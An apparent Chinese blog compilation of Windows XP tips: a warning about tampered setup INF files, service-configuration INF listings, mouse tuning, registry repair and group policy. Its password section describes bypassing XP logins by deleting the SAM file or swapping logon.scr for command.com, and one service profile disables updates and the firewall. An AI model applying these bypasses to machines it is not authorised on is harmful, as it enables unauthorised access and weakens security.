|
用户名:52net 笔名:winT 地区: 甘肃—兰州 行业:其他 |
| 日 | 一 | 二 | 三 | 四 | 五 | 六 |
【重要】警惕:不要随意安装来路不明的windows
这四个文件是:
hivecls.inf -- 设置注册表的HKLM\SOFTWARE\Classes (HKCR)
hivedef.inf -- 设置注册表的HKU\.DEFAULT (默认用户的配置)
hivesft.inf -- 设置注册表的HKLM\SOFTWARE
hivesys.inf -- 设置注册表的HKLM\SYSTEM
黑客们可以通过改变这四个文件而达到改变操作系统默认配置的目的。比如,把默认的"我的文档"转移到其他分区,或者配合dosnet.inf/txtsetup.sif/layout.inf可以强制复制数个文件并执行一段恶意代码。
要注意:这些INF文件并不会被Windows 的系统文件保护程序所扫描到,它们也没有像其他重要文件一样需要数字签名认证,所以黑客们要修改它们而不让你察觉是一件容易的事情!
当然了,你也可以利用这些文件来自定义你的Windows 安装。
比如,你们是不是为每次重装系统都要进行服务优化而烦恼呢?那么,你可以通过修改这些文件来控制Windows 系统启动时的服务状态,或者添加自己的服务:
说明:
"0x00000004"表示"禁用"
"0x00000003"表示"手动"
"0x00000002"表示"自动"
以下是Windows XP (专业版)默认的服务配置
源代码:
[Version]
Signature=$CHICAGO$
[DefaultInstall]
AddReg=HKLM.Settings
[HKLM.Settings]
;
; 0x00000002 -- Automatic
; 0x00000003 -- Manual
; 0x00000004 -- Disabled
;
; set up services windows xp professional defaults
;
HKLM,%SERVICES_PATH%\Alerter,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\ALG,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\AppMgmt,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\AudioSrv,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\BITS,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\Browser,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\cisvc,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\ClipSrv,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\COMSysApp,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\CryptSvc,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\Dhcp,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\dmadmin,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\dmserver,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\Dnscache,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\ERSvc,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\Eventlog,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\EventSystem,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\FastUserSwitchingCompatibility,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\helpsvc,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\HidServ,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\ImapiService,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\lanmanserver,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\lanmanworkstation,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\LmHosts,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\Messenger,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\mnmsrvc,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\MSDTC,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\MSIServer,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\NetDDE,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\NetDDEdsdm,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\Netlogon,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\Netman,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\Nla,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\NtLmSsp,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\NtmsSvc,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\PlugPlay,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\PolicyAgent,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\ProtectedStorage,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\RasAuto,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\RasMan,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\RDSessMgr,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\RemoteAccess,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\RemoteRegistry,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\RpcLocator,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\RpcSs,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\RSVP,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\SamSs,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\SCardDrv,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\SCardSvr,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\Schedule,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\seclogon,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\SENS,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\SharedAccess,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\ShellHWDetection,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\Spooler,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\srservice,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\SSDPSRV,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\stisvc,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\SwPrv,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\SysmonLog,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\TapiSrv,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\TermService,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\Themes,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\TlntSvr,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\TrkWks,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\uploadmgr,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\upnphost,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\UPS,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\VSS,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\W32Time,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\WebClient,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\winmgmt,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\WmdmPmSp,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\Wmi,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\WmiApSrv,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\wuauserv,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\WZCSVC,Start,0x10001,0x00000002
[Strings]
;
; add this to strings section
;
SERVICES_PATH="SYSTEM\CurrentControlSet\Services"
以下是优化服务的代码:
[Version]
Signature=$CHICAGO$
[DefaultInstall]
AddReg=HKLM.Settings
[HKLM.Settings]
;
; 0x00000002 -- Automatic
; 0x00000003 -- Manual
; 0x00000004 -- Disabled
;
; set up services for a supatweaked games machine
;
HKLM,%SERVICES_PATH%\Alerter,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\ALG,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\AppMgmt,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\AudioSrv,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\BITS,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\Browser,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\cisvc,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\ClipSrv,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\COMSysApp,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\CryptSvc,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\Dhcp,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\dmadmin,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\dmserver,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\Dnscache,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\ERSvc,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\Eventlog,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\EventSystem,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\FastUserSwitchingCompatibility,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\helpsvc,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\HidServ,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\ImapiService,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\lanmanserver,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\lanmanworkstation,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\LmHosts,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\Messenger,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\mnmsrvc,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\MSDTC,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\MSIServer,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\NetDDE,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\NetDDEdsdm,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\Netlogon,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\Netman,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\Nla,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\NtLmSsp,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\NtmsSvc,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\PlugPlay,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\PolicyAgent,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\ProtectedStorage,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\RasAuto,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\RasMan,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\RDSessMgr,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\RemoteAccess,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\RemoteRegistry,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\RpcLocator,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\RpcSs,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\RSVP,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\SamSs,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\SCardDrv,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\SCardSvr,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\Schedule,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\seclogon,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\SENS,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\SharedAccess,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\ShellHWDetection,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\Spooler,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\srservice,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\SSDPSRV,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\stisvc,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\SwPrv,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\SysmonLog,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\TapiSrv,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\TermService,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\Themes,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\TlntSvr,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\TrkWks,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\uploadmgr,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\upnphost,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\UPS,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\VSS,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\W32Time,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\WebClient,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\winmgmt,Start,0x10001,0x00000002
HKLM,%SERVICES_PATH%\WmdmPmSp,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\Wmi,Start,0x10001,0x00000003
HKLM,%SERVICES_PATH%\WmiApSrv,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\wuauserv,Start,0x10001,0x00000004
HKLM,%SERVICES_PATH%\WZCSVC,Start,0x10001,0x00000004
[Strings]
;
; add this to strings section
;
SERVICES_PATH="SYSTEM\CurrentControlSet\Services"
Windows XP密码复原术
1. 创建修复用户密码的启动软盘
微软在Windows XP中为我们提供了一个创建修复用户密码的启动软盘的功能,在我们忘记密码时,可以通过这张软盘来启动电脑,所以我们应该事先做张密码启动盘以防万一。点击"开始"\"控制面板"中的"用户账户"选项,在弹出的对话窗口中选择自己的账户便会进入自己账户的控制界面,紧接着点击窗口左上方的"阻止一个已忘记的密码"选项,则进入"忘记密码向导"对话框。点击"下一步",这时向导提示将一张空白的已经格式化的磁盘插入到软驱中,然后再点击"下一步"按钮,向导提示输入这个账户现在的密码,输人后经过几秒钟便创建完成密码启动盘了。当我们有一天忘记自己的密码时,只要点击我们账户右边的箭头,然后在弹出的提示栏中点击"使用密码重设磁盘",再将先前做好的密码启动盘插入软驱,按照系统提示就可以重新设置密码并登录Windows XP了。此方法适宜于各种分区格式的Windows XP。
2. 通过双系统删除Windows XP登录密码
如果我们的机器中除了Windows XP外还有其它操作系统的话,可以使用另外一个操作系统启动,然后删除"C\Windows\System32\Comfig"目录下的"SAM"文件(这里假设Windows XP安装在C盘),即账号密码数据库文件。然后重新启动Windows XP,这时管理员"administrator"账号就没有密码了。举一反三,如果只有一个Windows XP系统,也可以取下硬盘换到其它机器上将SAM文件删除。
此方法适用于采用FAT32分区安装的Windows XP,如果是采用NTFS分区安装的,要保证其它系统能访问NTFS分区才行。
3. 使用NTFSDOS工具恢复Windows XP登录密码
首先从"http//www.cgsecurity.org/index.html﹖ntfs.html"下载一个名为"NTFSDOS"的工具,通过这个工具制作出一张可以从DOS下操作NTFS分区的启动盘。启动DOS后切换到系统目录,如"C\Windows\System32",将"logon.scr"更名为"logon.scr.bak",再复制一个"command.com"并将文件更名为"logon.scr"。然后重新启动机器,当启动屏幕保护时,你会发现屏幕显示为命令行模式,而且是有administratoc权限的,通过这个就可修改密码或添加新管理员账号。进入Windows XP后再将"logon.scr.bak"屏幕保护程序的名字改回来即可。此法适用于在NTFS分区安装的Windows XP。
4. 使用其它工具重建Windows XP登录密码
在网上可以找到很多Windows XP登录工具,比如使用Linux Boot Disks的启动盘可访问NTFS文件系统,并能读取注册表、重写账号和密码;使用NTAcess工具可绕过系统Syskey的保护,重新设定Windows NT/2000、Windows XP上的密码;还有Passware Kit、O&O Bluecon2000等工具,具体操作大家可以参考各软件的说明。
让你的鼠标更灵活(喜欢游戏的好好看看哦)
一、经常清理
我们大多数人选择的机械鼠标经过几周使用后,就会发现它的反应不再像最开始时那么灵敏了。这主要是由于鼠标内部的滚轮沾上了灰尘,而光电鼠标就没有类似的问题。解决的方法其实很简单,只需先将鼠标的感应球移走,然后拧下底部的螺丝把鼠标打开,将鼠标内沾染的污垢彻底清理干净就是了。每个月或者隔几周对鼠标定期进行清理可以使它的移动保持平滑流畅。
二、为鼠标找个舒服的家
几乎所有使用机械鼠标的人都会为自己的鼠标配上一块鼠标垫,因此鼠标垫是否好用对鼠标也有相当大的影响。华而不实向来是不可取的,所以还是去买一块对感应球的滚动能产生恰如其分的阻力且表面平整的鼠标垫吧,千万不要只顾好看而委屈了自己的手。
三、驱动程序是关键
鼠标的驱动是一个很重要但经常被人忽视的环节。最新鼠标驱动程序同样也可以丰富鼠标的功能,而且还可以修改旧驱动中的一些错误。你可以按自己的喜好下载微软http//www.microsoft.com/products/hardware/mouse/driver/drivers.htm或罗技http://www.logitech.com/cf/support/mousefiles.cfm推出的最新的鼠标驱动。
为了确定你的系统是否安装了最新的鼠标驱动,你可以右键单击"我的电脑"选择"属性"。
如果你使用的Windows 2000,请按下述方法检查:选择"硬件"选项卡,而后选择"设备管理器",打开"Mice and other pointing devices"一栏,选中你正在使用的鼠标名称之后点击下方的"属性"按钮。在随后弹出的对话框中选择"驱动程序"选项卡,然后单击"升级驱动"按钮来启动升级设备驱动程序向导,再输入你的驱动程序的路径。当系统找到新的驱动安装完毕后,重启你的电脑。
如果你使用的是Windows 9x/Me,请按下述方法检查:选择"设备管理器",打开"鼠标"一栏,选中你正在使用的鼠标名称后点击下方的"属性"按钮,在随后弹出的对话框中选择"驱动程序"选项卡,然后单击"升级驱动"按钮来启动升级设备驱动程序向导,再输入你的驱动程序的路径。当系统找到新的驱动安装完毕后,重启你的电脑。
四、出现问题不要急
很多与鼠标有关的麻烦都发生在游戏过程中,下面我们就给你提供一些建议来修正这些问题。
1.安装最新的鼠标驱动或者最新的游戏补丁程序。
2.如果发现你的鼠标滚轮无法工作,点击开始→设置→控制面板→鼠标。在按钮选项卡中重新设定滚轮的功能。在游戏的控制设置中也作同样设置。
五、不同鼠标不同对待
当今的鼠标大多采用USB或是PS/2接口,这两种接口都有各自的优劣。
USB接口鼠标的默认采样率比较高,达到125Hz;而PS/2接口的鼠标仅有40Hz(Windows 9x/Me)或是60Hz(Windows NT/2000)。不过在本文的后面你可以看到,把它调高只需相当简单的几个步骤。
USB接口鼠标对CPU的占用比PS/2接口鼠标大(当系统占用CPU比较大时,鼠标会让你觉得它有点不稳定)。不过你可以通过下面几步调整USB鼠标的表现。用右键单击我的电脑→属性→设备管理器(在Windows 2000中首先要选定"硬件"选项卡)。在设备管理器中找到"通用串行总线控制",然后选择USB Root Hub下方的设备,比如VIA Tech 3038 PCI to USB Universal Host Controller。把它打开然后选择"高级",而后将"禁用USB错误探测"前方的方框打上勾,最后重新启动系统就可以了。这可以明显改进USB鼠标及其它USB设备对系统做出反应的灵敏度。
六、鼠标的调整
下面我们向你介绍如何调整微软智能鼠标在Intellipoint 3.2软件安装后的设置。当然,这些设置在其它鼠标软件中也大多存在,比如罗技的Logitech Mouseware。
依次点击开始→设置→鼠标,打开鼠标属性窗口:
1.选择"按钮"选项卡
"设备":在该项的下拉菜单中选择你所使用的鼠标类型。
"按钮分配":使用这一选项为你的鼠标的各个键或是滚动轮分配不同的任务,选择你自己习惯的设置或是采用软件的默认设置都可以。
2.选择"指针"选项卡
"方案":在该项的下拉菜单中不同的戍边指针方案中选一款你最喜欢的,不过笔者建议你选择"无"或者干脆在下面的自定义设置中自己设计一套方案。
3.选择"指针选项"选项卡
"指针速度":利用这一项中的滑动条调整鼠标的响应速度。把滑动块向右移将使鼠标移动更加灵活,但是也更不容易支配,一般还是选择居中的位置比较好。这项设置还将影响将指针移动到屏幕指定位置时鼠标滑动的距离大小。将滑动块移动到慢的一侧将使鼠标移动的距离更长。
点下"高级"按钮,你可以设定是否在移动鼠标时调整指针加速的快慢,不过笔者还是建议你不要选中这一项。
"对齐到":选中这一项将使鼠标指针自动移动到可以打开的对话框的默认的按钮处,笔者建议不要选中该项。
"轨迹":这一项在Windows 9x/Me中可以调整移动鼠标时显示出的指针轨迹的长度,从实际应用来看这一项根本毫无益处,所以还是不要选中为好。
"键入时隐藏指针":这一项可以让鼠标指针在你打字时消失,反之则保持显示指针。你可以根据个人喜好决定是否选中该项。
4.选择"活动"选项卡
"双击速度":这一项下的滑动块可以调整完成鼠标双击的速度。
"方向":这个设置可以通过握住和移动鼠标的方式来改变指针移动方向,点中"设置方向"按钮,随着向导的步骤,你可以完成设定。
"单击锁定":选中这一项可以打开单击锁定功能,这样你就不用持续按下鼠标的按键也可以完成复制或是移动文件或文件夹时的拖动。
该项下的"设置"按钮可以调定在按下鼠标多长时间后实现单击锁定功能。
5.选择"滑轮"选项卡
"滚动":在选项中,你可以设定滚动滑轮的一个齿格后页面滚动多少行。笔者建议你还是保留默认的行数3,当然了,你也完全可以按自己的习惯来设定。
"滑轮疑难解答":除非你在使用鼠标的过程中有什么问题无法解决,否则不用理会这个选项。
如果你用的是PS/2接口的鼠标,那么在Windows 2000中还有一些特别的设置是Windows 9x/Me中所没有的。右键单击"我的电脑"选择"属性",再选择"硬件"选项卡,而后选择"设备管理器",打开鼠标的"属性"窗口,选择"高级"选项卡。
"采样率":这一项可以设定系统间隔多少时间确认一次鼠标的位置,通过对它的调整可以改变鼠标的灵敏程度。
"滑轮探测":这一项可以更改Windows 2000对鼠标滚轮的设定。如果你的鼠标不是滚轮鼠标或者因为其它原因你不希望使用滚轮,你可以选用"禁用探测"。
"寻找滑轮":可以自动探测你的鼠标是否具备滚轮,如果探测成功则启用,反之则禁用。如果你的鼠标具备滚轮则可以选用"假定滑轮存在";如果系统自动探测不到你的鼠标的滚轮你也可以选用这一项。
"输入缓存":这个设置可以调整输入缓存包(主要用来存储关于鼠标位置的数据)的数量。如果你发现自己的鼠标行为怪异,那么就需要尝试增加这个数值,不过一般情况下可将其忽略过去,保持其最小值:100。
"快速初始化":选中这一项可以实现快速初始化,这可以节省Windows 2000的启动时间。如果你选中该项后发现鼠标的运动不太听话,那么就不要选它,系统的启动时间并不会延长太多。
七、榨取鼠标的最后一滴油
如果你的电脑安装的操作系统是Windows 9x/Me,那么系统没有提供鼠标采样率的设置,你必须安装一个第三方软件完成设定。笔者推荐使用PS2Rate Plus(tweakfiles.com/input/ps2rateplus.html)。不过要提醒你的是,采样率设置得越高,CPU的占用也就越大,所以不要将其设定得过高。
相信经过以上的过程,你已经让你的鼠标更听话了,在游戏中你可能还需要鼠标反应更灵敏,运动起来更平滑,那么还要根据不同的游戏和你的喜好、习惯对鼠标进行更细致的设定。只有经过反复的尝试才会让你更加满意。
寻找“添加/删除”菜单中隐藏了的选项
[Components]
NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7
这是当前所有已安装部件列表,以MSN Messenger为例子,这个程序条目名是"msmsgs",在倒数第三行。可以看到被我标为红色的"hide"字样,就是这个参数在控制Windows"添加/删除程序"中不显示这一项。只需把"hide"删掉就得了,如下:
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
改为:
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7
现在重新启动计算机,就可以在"添加/删除程序"列表里看到MSN Messenger了。如果想要在添加/删除程序里看到所有的已安装组件,只需用记事本打开sysoc.inf文件,用记事本的查找/替换功能把所有",hide"替换为","就行了。
注册表损坏之症状和修复
1、当使用过去正常工作的程序时,得到诸如"找不到*.dll"的信息,或其他表明程序部分丢失和不能定位的信息。
2、应用程序出现"找不到服务器上的嵌入对象"或"找不到OLE控件"这样的错误提示。
3、当单击某个文档时,Windows给出"找不到应用程序打开这种类型的文档"信息,即使安装了正确的应用程序且文档的扩展名(或文件类型)正确。
4、"资源管理器"页面包含没有图标的文件夹、文件或者意料之外的奇怪图标。
5、"开始"菜单或"控制面板"项目丢失或变灰而处于不可激活状态。
6、网络连接不能建立或不再出现在"拨号网络"中或"控制面板"的"网络"中。
7、不久前工作正常的硬件设备不再起作用或不再出现在"设备管理器"的列表中。
8、Windows系统根本不能启动,或仅能以安全模式或MS-DOS模式启动。
9、Windows系统显示"注册表损坏"这样的信息。
10、启动时,系统调用注册表扫描工具对注册表文件进行检查,然后提示当前注册表已损坏,将用注册表的备份文件进行修复,并要求重新启动系统。而上述过程往往要重复数次才能进入系统。其实此乃系统的误报,此时的注册表并没有损坏,倒是你的内存条或硬盘值得好好检查一下,这是硬件故障造成的假象。
以上罗列了注册表损坏的十种症状,除第十项外,前九项都是可以简单修复的,前提是有注册表文件备份。备份的方法也不难,在机器工作正常时,运行注册表编辑器regedit.exe,选择"注册表/导出注册表文件",接下来"导出范围"选择"全部","存为类型"选择"注册表文件",最后任取一个文件名(如"backup")就行了;也可以直接拷贝"system.dat"和"user.dat"两个文件进行备份。修复时进入DOS模式状态(开机时按"F8"调出多重引导菜单,选择"Command Prompt Only"),在提示符后键入"regedit/c backup.reg"回车即可。倘若没有备份,我们可以利用Windows的自动备份进行修复,同样进入DOS实模式状态,键入"scanreg /restore",进入菜单界面,选择一个备份文件,稍等片刻即可。
Windows组策略应用全攻略
简单点说,组策略就是修改注册表中的配置。当然,组策略使用自己更完善的管理组织方法,可以对各种对象中的设置进行管理和配置,远比手工修改注册表方便、灵活,功能也更加强大。
说到组策略,就不得不提注册表。注册表是Windows系统中保存系统、应用软件配置的数据库,随着Windows功能的越来越丰富,注册表里的配置项目也越来越多。很多配置都是 可以自定义设置的,但这些配置发布在注册表的各个角落,如果是手工配置,可想是多么困难和烦杂。而组策略则将系统重要的配置功能汇集成各种配置模块,供管理人员直接使用,从而达到方便管理计算机的目的。
简单点说,组策略就是修改注册表中的配置。当然,组策略使用自己更完善的管理组织方法,可以对各种对象中的设置进行管理和配置,远比手工修改注册表方便、灵活,功能也更加强大。
(二)组策略的版本
大部分Windows 9X/NT用户可能听过"系统策略"的概念,而我们现在大部分听到的则是"组策略"这个名字。其实组策略是系统策略的更高级扩展,它是由Windows 9X/NT的"系统策略"发展而来的,具有更多的管理模板和更灵活的设置对象及更多的功能,目前主要应用于Windows 2000/XP/2003系统。
早期系统策略的运行机制是通过策略管理模板,定义特定的.POL(通常是Config.pol)文件。当用户登录的时候,它会重写注册表中的设置值。当然,系统策略编辑器也支持对当前注册表的修改,另外也支持连接网络计算机并对其注册表进行设置。而组策略及其工具,则是对当前注册表进行直接修改。显然,Windows 2000/XP/2003系统的网络功能是其最大的特色之处,其网络功能自然是不可少的,因此组策略工具还可以打开网络上的计算机进行配置,甚至可以打开某个Active Directory 对象(即站点、域或组织单位)并对它进行设置。这是以前"系统策略编辑器"工具无法做到的。
无论是系统策略还是组策略,它们的基本原理都是修改注册表中相应的配置项目,从而达到配置计算机的目的,只是它们的一些运行机制发生了变化和扩展而已。
二、组策略中的管理模板
在Windows 2000/XP/2003目录中包含了几个 .adm 文件。这些文件是文本文件,称为"管理模板",它们为组策略管理模板项目提供策略信息。
在Windows 9X系统中,默认的admin.adm管理模板即保存在策略编辑器同一个文件夹中。而在Windows 2000/XP/2003的系统文件夹的inf文件夹中,包含了默认安装下的4个模板文件,分别为:
1)System.adm:默认情况下安装在"组策略"中,用于系统设置。
2)Inetres.adm:默认情况下安装在"组策略"中;用于Internet Explorer策略设置。
3)Wmplayer.adm:用于Windows Media Player 设置。
4)Conf.adm:用于NetMeeting 设置。
在Windows 2000/XP/2003的组策略控制台中,可以多次添加"策略模板",而在Windows 9X下,则只允许当前打开一个策略模板。下面介绍使用策略模板的方法。首先在Windows 2000/XP/2003组策略控制台中使用如下:
首先运行"组策略"程序,然后选择"计算机配置"或者"用户配置"下的"管理模板",按下鼠标右键,在弹出的菜单中选择"添加/删除模板".
然后单击"添加"按钮,在弹出的对话框中选择相应的.adm文件。单击"打开"按钮,则在系统策略编辑器中打开选定的脚本文件,并等待用户执行。
返回到"组策略"编辑器主界面后,依次打开目录"本地计算机策略→用户配置→管理模板",再点击相应的目录树,就会看到我们新添加的管理模板所产生的配置项目了(为了便于本文后面的实例大家能一起动手操作,建议添加除默认模板文件的其它模板文件)。
再来看Windows 9X下的组策略编辑器。首先在组策略编辑器中的"文件"菜单中选择"关闭",以便将当前脚本关闭,然后再在"选项"菜单中选择"模板"
然后单击"打开模板"按钮,在弹出的对话框中选择相应的.adm文件并单击"打开"按钮,则在编辑器中打开选定的脚本文件并等待用户执行。
三、运行组策略
(一)Windows 9X策略编辑器
按操作系统的不同,策略编辑工具分为两种,一种为Windows 2000/XP/2003组策略管理控制台,它在系统安装时已经默认安装上了;另外一种就是Windows 9X的系统策略编辑器,它在系统安装时并不被安装,程序文件在Windows安装盘上的\tools\reskit\netadmin\poledit目录下,它包括Poledit.exe、Poledit.inf、Windows.adm等文件。
如果是Windows 9X系统通过下面的方法,则可以进行正规的安装过程。
1.在控制面板中,双击"添加/删除程序"图标,单击"安装Windows"标签,然后单击"从磁盘安装"选项。
2.在从磁盘安装对话框中,单击"浏览"按钮并指定Windows 9X安装光盘的tools\reskit\netadmin\poledit目录。
